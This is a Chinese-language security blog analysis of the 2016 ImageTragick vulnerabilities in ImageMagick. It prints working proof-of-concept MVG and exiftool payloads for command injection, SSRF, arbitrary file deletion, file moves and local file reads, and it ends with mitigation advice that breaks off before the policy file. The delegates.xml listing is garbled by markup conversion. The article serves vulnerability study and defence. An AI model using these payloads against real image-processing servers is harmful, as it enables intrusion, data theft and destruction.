ImageMagick 命令执行分析

Posted 2020-09-15

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篇首语：本文由小常识网(cha138.com)小编为大家整理，主要介绍了ImageMagick 命令执行分析相关的知识，希望对你有一定的参考价值。

ImageMagick是一款使用量很广的图片处理程序，很多厂商都调用了这个程序进行图片处理，包括图片的伸缩、切割、水印、格式转换等等。但近来有研究者发现，当用户传入一个包含『畸形内容』的图片的时候，就有可能触发命令注入漏洞。

国外的安全人员为此新建了一个网站： https://imagetragick.com/ ，不得不说，有些外国人蛮会玩的。

相对于之前的数个拥有『主页』的漏洞，这个洞确实不一般，确实是一个可以被利用的好洞，乌云主站上也爆出了数个被该漏洞影响的大厂商。我们先来分析一下它出现的原因。

0x01 原理分析

与这个漏洞相关的CVE有CVE-2016-3714、CVE-2016-3715、CVE-2016-3716、CVE-2016-3717，其中最严重的就是CVE-2016-3714，利用这个漏洞可以造成远程命令执行的危害。

ImageMagick有一个功能叫做delegate（委托），作用是调用外部的lib来处理文件。而调用外部lib的过程是使用系统的system命令来执行的（ https://github.com/ImageMagick/ImageMagick/blob/e93e339c0a44cec16c08d78241f7aa3754485004/MagickCore/delegate.c#L347 ）

我们在ImageMagick的默认配置文件里可以看到所有的委托： /etc/ImageMagick/delegates.xml

#!xml<!--?xml version="1.0" encoding="UTF-8"

?--><!--ELEMENT delegate (#PCDATA)--><!--ATTLIST delegate decode CDATA #IMPLIED--><!--ATTLIST delegate encode CDATA #IMPLIED--><!--ATTLIST delegate mode CDATA #IMPLIED--><!--ATTLIST delegate spawn CDATA #IMPLIED--><!--ATTLIST delegate stealth CDATA #IMPLIED--><!--ATTLIST delegate thread-support CDATA #IMPLIED--><!--ATTLIST delegate command CDATA #REQUIRED-->]><!--  Delegate command file.  Commands which specify    decode=

"in_format" encode="out_format" specify the rules for

converting from in_format to out_format These  rules may be used to translate directly between formats.  Commands which specify only    decode=

"in_format" specify the rules for

converting from in_format to some format that  ImageMagick will automatically recognize. These rules are used to  decode formats.  Commands which specify only   encode=

"out_format" specify the rules for an "encoder"

which may accept any input format.  For delegates other than ps:*, pcl:*, and mpeg:* the substitution rules are  as follows:    %i  input image filename    %o  output image filename    %u  unique temporary filename    %Z  unique temporary filename    %#  input image signature    %b  image file size    %c  input image comment    %g  image geometry    %h  image rows (height)    %k  input image number colors    %l  image label    %m  input image format    %p  page number    %q  input image depth    %s  scene number    %w  image columns (width)    %x  input image x resolution    %y  input image y resolution  Set option delegate:bimodal=

true to process bimodal delegates otherwise they are ignored. If stealth="True" the delegate is not listed in user requested "-list delegate" listings. These are typically special internal delegates. If spawn="True" ImageMagick will not way for the delegate to finish, nor will it read any output image. It will only wait for either the input file to be removed (See "ephemeral:" coder) indicating that the input file has been read, or a maximum time limit of 2 seconds.--><delegatemap> <delegate -input-format="" -output-file="" -output-format="" command="" decode="autotrace" pnm="" stealth="True" svg=""> <delegate -b="" -concatenate="" -d="" -f="" -o="" -oc="" command="" decode="cdr" delegate="" http:="" mv="" png="" ps="" rm="" spawn="True" stealth="True" www.imagemagick.org=""> "%o" 2> "%Z"" decode="cgm" thread-support="False"> <delegate -o="" -q="" command="" decode="dvi"> <delegate --create-id="also" --out-depth="16" --out-type="png" --output="%u.png"" --silent="" -daligntopixels="0" -dbatch="" -dgridfittt="2" -dmaxbitmap="500000000" -dnopause="" -dnoprompt="" -dquiet="" -dsafer="" -e="" -l="" -o="" -q="" -sdevice="nodevice"" -soutputfile="%o"" -title="\" -tsvg="" alternatives="" color="" command="" decode="fig" delegate="" edit="" encode="ps" etc="" image="" load="" mode="bi" output="" portrait="" postscript="" ps="" set="" size="" stealth="True" terminal="" vi=""> "%u";"gnuplot" "%u"" decode="plt"> <delegate -f="" -m="" -q="" basename="" command="" decode="hpg" eps="" mv=""> <delegate -f="" basename="" command="if [ -e hp2xx -o -e /usr/bin/hp2xx ]; then hp2xx -q -m eps -f `basename " decode="hpgl" echo="" else="" exit="" files="" hp2xx="" hpgl="" install="" mv="" need="" to="" use="" with="" you=""> <delegate -o="" -u="" command="" decode="htm"> <delegate -o="" -u="" command="" decode="html"> <delegate -k="" -o="" -s="" command="" decode="https"> <delegate -1="" -an="" -cmp="" -daligntopixels="0" -dbatch="" -dgraphicsalphabits="%u" -dgridfittt="2" -dmaxbitmap="500000000" -dnopause="" -dnoprompt="" -dquiet="" -dsafer="" -dtextalphabits="%u" -f="" -g="" -i="" -if="" -man="" -mbd="" -o="" -of="" -sdevice="ppmraw"" -soutputfile="%s"" -subcmp="" -tps="" -trellis="" -v="" -vcodec="" -vframes="" -y="" 2="" 300="" command="" decode="pcl:color" delegate="" encode="mpeg:encode" pam="" rawvideo="" rd="" s="" sid="" stealth="True" tif=""> <delegate -daligntopixels="0" -dbatch="" -dgraphicsalphabits="%u" -dgridfittt="2" -dmaxbitmap="500000000" -dnopause="" -dnoprompt="" -dquiet="" -dsafer="" -dtextalphabits="%u" -sdevice="pamcmyk32"" -soutputfile="%s"" command="" decode="pcl:cmyk" s="" stealth="True"> <delegate -daligntopixels="0" -dbatch="" -dgraphicsalphabits="%u" -dgridfittt="2" -dmaxbitmap="500000000" -dnopause="" -dnoprompt="" -dquiet="" -dsafer="" -dtextalphabits="%u" -sdevice="pbmraw"" -soutputfile="%s"" command="" decode="pcl:mono" s="" stealth="True"> <delegate -daligntopixels="0" -dbatch="" -dgridfittt="2" -dmaxbitmap="500000000" -dnopause="" -dnoprompt="" -dquiet="" -dsafer="" -q="" -sdevice="epswrite"" -soutputfile="%o"" command="" decode="pdf" encode="eps" mode="bi"> <delegate -daligntopixels="0" -dbatch="" -dgridfittt="2" -dmaxbitmap="500000000" -dnopause="" -dnoprompt="" -dquiet="" -dsafer="" -q="" -sdevice="nodevice"" -soutputfile="%o"" command="" decode="pdf" encode="ps" mode="bi"> <delegate command="" decode="tiff" encode="launch" mode="encode"> <delegate -24if="" -concatenate="" -d0="" -q9="" a="" command="" decode="pov" delegate="" encode="ilbm" h="" mode="encode" q="" w=""> <delegate -daligntopixels="0" -dbatch="" -dgridfittt="2" -dmaxbitmap="500000000" -dnopause="" -dnoprompt="" -dquiet="" -dsafer="" -q="" -sdevice="epswrite"" -soutputfile="%o"" command="" decode="ps" encode="eps" mode="bi"> <delegate -daligntopixels="0" -dbatch="" -dgridfittt="2" -dmaxbitmap="500000000" -dnopause="" -dnoprompt="" -dquiet="" -dsafer="" -q="" -sdevice="pdfwrite"" -soutputfile="%o"" command="" decode="ps" encode="pdf" mode="bi"> <delegate command="lpr " decode="ps" encode="print" mode="encode"> <delegate -daligntopixels="0" -dbatch="" -dgraphicsalphabits="%u" -dgridfittt="2" -dmaxbitmap="500000000" -dnopause="" -dnoprompt="" -dquiet="" -dsafer="" -dtextalphabits="%u" -q="" -sdevice="pngalpha"" -soutputfile="%s"" command="" decode="ps:alpha" s="" stealth="True"> <delegate -daligntopixels="0" -dbatch="" -dgraphicsalphabits="%u" -dgridfittt="2" -dmaxbitmap="500000000" -dnopause="" -dnoprompt="" -dquiet="" -dsafer="" -dtextalphabits="%u" -q="" -sdevice="pam"" -soutputfile="%s"" command="" decode="ps:cmyk" s="" stealth="True"> <delegate -daligntopixels="0" -dbatch="" -dgraphicsalphabits="%u" -dgridfittt="2" -dmaxbitmap="500000000" -dnopause="" -dnoprompt="" -dquiet="" -dsafer="" -dtextalphabits="%u" -q="" -sdevice="pnmraw"" -soutputfile="%s"" command="" decode="ps:color" s="" stealth="True"> <delegate -daligntopixels="0" -dbatch="" -dgraphicsalphabits="%u" -dgridfittt="2" -dmaxbitmap="500000000" -dnopause="" -dnoprompt="" -dquiet="" -dsafer="" -dtextalphabits="%u" -q="" -sdevice="pbmraw"" -soutputfile="%s"" command="" decode="ps:mono" s="" stealth="True"> <delegate -o="" -v="" command="" decode="rgba" encode="rle" mode="encode"> <delegate -d="" -delay="" -title="\" -window-group="" 0="" bin="" command="" decode="miff" delegate="" encode="show" l="" spawn="True" usr=""> <delegate -o="" -u="" command="" decode="shtml"> <delegate -o="" command="" decode="svg"> <delegate -o="" command="" decode="txt" encode="ps" mode="bi"> <delegate -delay="" -immutable="" -title="\" -window-group="" 0="" bin="" command="" decode="miff" encode="win" l="" spawn="True" stealth="True" usr=""> <delegate -o="" command="" decode="wmf"> <delegate -daligntopixels="0" -dbatch="" -dgraphicsalphabits="%u" -dgridfittt="2" -dmaxbitmap="500000000" -dnopause="" -dnoprompt="" -dquiet="" -dsafer="" -dtextalphabits="%u" -sdevice="ppmraw"" -soutputfile="%s"" command="" decode="xps:color" s="" stealth="True"> <delegate -daligntopixels="0" -dbatch="" -dgraphicsalphabits="%u" -dgridfittt="2" -dmaxbitmap="500000000" -dnopause="" -dnoprompt="" -dquiet="" -dsafer="" -dtextalphabits="%u" -sdevice="bmpsep8"" -soutputfile="%s"" command="" decode="xps:cmyk" s="" stealth="True"> <delegate -daligntopixels="0" -dbatch="" -dgraphicsalphabits="%u" -dgridfittt="2" -dmaxbitmap="500000000" -dnopause="" -dnoprompt="" -dquiet="" -dsafer="" -dtextalphabits="%u" -sdevice="pbmraw"" -soutputfile="%s"" command="" decode="xps:mono" s="" stealth="

True"></delegate></delegate></delegate></delegate></delegate></delegate></delegate></delegate></delegate></delegate></delegate></delegate></delegate></delegate></delegate></delegate></delegate></delegate></delegate></delegate></delegate></delegate></delegate></delegate></delegate></delegate></delegate></delegate></delegate></delegate></delegate></delegate></delegate></delegatemap>

我们可以看到，这里它定义了很多占位符，比如%i是输入的文件名，%l是图片exif label信息。而在后面command的位置，%i和%l等占位符被拼接在命令行中。这个漏洞也因此而来，被拼接完毕的命令行传入了系统的system函数，而我们只需使用反引号（`）或闭合双引号，来执行任意命令。

漏洞报告中给出的POC是利用了如下的这个委托：

1	`<delegate -k=""` `-o=""` `-s=""` `command=""` `decode="https"></delegate>`

它在解析https图片的时候，使用了curl命令将其下载，我们看到%M被直接放在curl的最后一个参数内。ImageMagick默认支持一种图片格式，叫mvg，而mvg与svg格式类似，其中是以文本形式写入矢量图的内容，而这其中就可以包含https处理过程。

所以我们可以构造一个.mvg格式的图片（但文件名可以不为.mvg，比如下图中包含payload的文件的文件名为vul.gif，而ImageMagick会根据其内容识别为mvg图片），并在https://后面闭合双引号，写入自己要执行的命令：

1	`push graphic-contextviewbox` `0` `0` `640` `480fill` `‘url(https://"\|id; ")‘pop graphic-context`

这样，ImageMagick在正常执行图片转换、处理的时候就会触发漏洞：

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其他几个CVE也比较有趣，比如CVE-2016-3718，他是利用mvg格式中可以包含url的特点，进行SSRF攻击，POC如下：

1	`push graphic-contextviewbox` `0` `0` `640` `480fill` `‘url(http://example.com/)‘pop graphic-context`

CVE-2016-3715是利用ImageMagick支持的ephemeral协议，来删除任意文件：

1	`push graphic-contextviewbox` `0` `0` `640` `480image over` `0,0` `0,0` `‘ephemeral:/tmp/delete.txt‘popgraphic-context`

CVE-2016-3716是利用ImageMagick支持的msl协议，来进行文件的读取和写入。利用这个漏洞，可以将任意文件写为任意文件，比如将图片写为一个.php后缀的webshell。

特别说明的是，msl协议是读取一个msl格式的xml文件，并根据其内容执行一些操作：

1	`file_move.mvg-=-=-=-=-=-=-=-=-push graphic-contextviewbox` `0` `0` `640` `480image over` `0,0` `0,0` `‘msl:/tmp/msl.txt‘popgraphic-context/tmp/msl.txt-=-=-=-=-=-=-=-=-<!--?xml version="1.0"` `encoding="UTF-8"?-->`

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CVE-2016-3717可以造成本地文件读取漏洞：

1	`push graphic-contextviewbox` `0` `0` `640` `480image over` `0,0` `0,0` `‘label:@/etc/hosts‘pop graphic-context`

0x02 深入分析

除了报告中给出的POC以外，各个安全研究人员也集思广益，发现这个洞的更多利用/影响方式。

首先，PHP扩展『ImageMagick』也存在这个问题，而且只需要调用了Imagick类的构造方法，即可触发这个漏洞：

1	`<!--?phpnew Imagick(‘vul.gif‘);</pre-->`

因为没有返回值，我利用cloudeye捕捉到apache日志，从日志中读取命令执行的结果：

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另外，经过分析，研究人员发现除了.mvg格式的图片以外，普通png格式的图片也能触发命令执行漏洞。我们看到前面委托中对%l，也就是exif label的处理：

1	`<delegate -delay=""` `-title="\" -window-group="" 0="" bin="" command="" decode="miff" encode="show" l="" spawn="True" usr=""></delegate>`

它将%l拼接进入了/usr/bin/display命令中，所以我只需将正常的png图片，带上一个『恶意』的exif信息。在调用ImageMagick将其处理成.show文件的时候，即可触发命令注入漏洞：

1	`exiftool -label="\"\|/usr/bin/id; \""` `test.pngconvert test.png o.show`

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但这个方法鸡肋之处在于，因为delegate.xml中配置的encode="show"（或"win"），所以只有输出为.show或.win格式的情况下才会调用这个委托，而普通的文件处理是不会触发这个命令的。

0x03 影响分析

ImageMagick是一个使用非常广的组件，大量厂商都在处理图片的时候调用这个程序进行处理，而且很多开源应用也在核心代码中包含了ImageMagick选项。

Wordpress是著名的个人博客/CMS厂商，其核心源码中使用了PHP扩展ImageMagick。受到这个漏洞的影响，在攻击者拥有一定权限的情况下，可以在Wordpress中触发任意命令执行漏洞： WooYun: Wordpress某核心功能命令执行漏洞（一定权限）

同样的，Discuz、Drupal等常用CMS中也调用了ImageMagick扩展或ImageMagick库，CVE-2016-3714也可能会影响到他们。

但根据我对Discuz的分析，其调用ImageMagick处理图片之前，会先使用php的getimagesize进行图片格式、大小的验证，所以本文中所涉及的POC无法在Disucz中直接使用，但不排除有其他方法绕过discuz对该问题的限制。

除了开源软件中的漏洞以外，国内外各大厂商或多或少都收到了该问题的影响，影响最大的应该属人人，人人某处上传位置调用了ImageMagick进行图片的处理，结果造成了命令执行，导致内网被白帽子攻破： WooYun: 人人网某漏洞导致直接Getshell影响主干网络直入内网

另外，百度、优酷、腾讯、七牛等诸多厂商都收到该漏洞影响： WooYun: QQ邮箱命某处令执行、 WooYun: 腾讯微云远程命令执行、 WooYun: 七牛云存储远程命令执行漏洞影响图片处理服务器、 WooYun: 百度某站远程命令执行漏洞、 WooYun: 一张图片引发的血案百度某处命令执行、 WooYun: 优酷主站存在远程命令执行漏洞

还有个比较有意思的地方，因为新浪sae的php包含ImageMagick扩展，所以乌云上有白帽子利用这个漏洞，成功绕过了sae的沙盒 WooYun: SAE 沙盒绕过（ImageMagick CVE20163714 应用实例）

0x04 漏洞修复

关于这个漏洞影响ImageMagick 6.9.3-9以前是所有版本，包括ubuntu源中安装的ImageMagick。而官方在6.9.3-9版本中对漏洞进行了不完全的修复。所以，我们不能仅通过更新ImageMagick的版本来杜绝这个漏洞。

现在，我们可以通过如下两个方法来暂时规避漏洞：

处理图片前，先检查图片的 "magic bytes"，也就是图片头，如果图片头不是你想要的格式，那么就不调用ImageMagick处理图片。如果你是php用户，可以使用getimagesize函数来检查图片格式，而如果你是wordpress等web应用的使用者，可以暂时卸载ImageMagick，使用php自带的gd库来处理图片。使用policy file来防御这个漏洞，这个文件默认位置在 /etc/ImageMagick/policy.xml ，我们通过配置如下的xml来禁止解析https等敏感操作：